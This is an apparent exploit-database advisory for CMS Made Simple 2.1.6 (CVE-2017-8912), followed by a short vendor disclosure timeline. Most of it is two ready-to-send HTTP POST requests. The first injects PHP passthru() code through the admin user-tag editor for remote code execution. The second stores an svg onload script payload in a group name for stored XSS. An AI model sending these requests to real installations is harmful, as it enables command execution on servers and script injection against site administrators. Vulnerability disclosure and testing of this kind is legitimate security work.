30 lines
No EOL
1,009 B
Text
30 lines
No EOL
1,009 B
Text
# Title: CMSMS 2.1.6 Multiple Vulnerabilities
|
|
# Date: 10-05-2017
|
|
# Tested on: Windows 8 64-bit
|
|
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
|
|
# Original write-up: https://osandamalith.com/2017/05/11/cmsms-2-1-6-multiple-vulnerabilities/
|
|
# CVE: CVE-2017-8912
|
|
|
|
Remote Code Execution
|
|
======================
|
|
|
|
POST /cmsms/admin/editusertag.php?_sk_=2a7da2216d41e0ac&userplugin_id=4 HTTP/1.1
|
|
|
|
_sk_=2a7da2216d41e0ac&userplugin_id=4&userplugin_name=aaa&code=passthru('dir')%3B&description=&run=1&apply=1&ajax=1
|
|
|
|
|
|
Stored XSS
|
|
==========
|
|
|
|
POST /cmsms/admin/addgroup.php HTTP/1.1
|
|
|
|
_sk_=92a32a8aaa87e958&group=%3Csvg%2Fonload%3Dalert%282%29%3E&description=%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&active=on&addgroup=true
|
|
|
|
|
|
Disclosure Timeline
|
|
====================
|
|
|
|
09-05-2017: Reported to the vendor
|
|
09-05-2017: Vendor doesn't accept XSS issues inside admin panel and claimed the RCE as a feature, not a bug :)
|
|
10-05-2017: Public disclosure
|
|
11-05-2017: Assigned CVE-2017-8912 |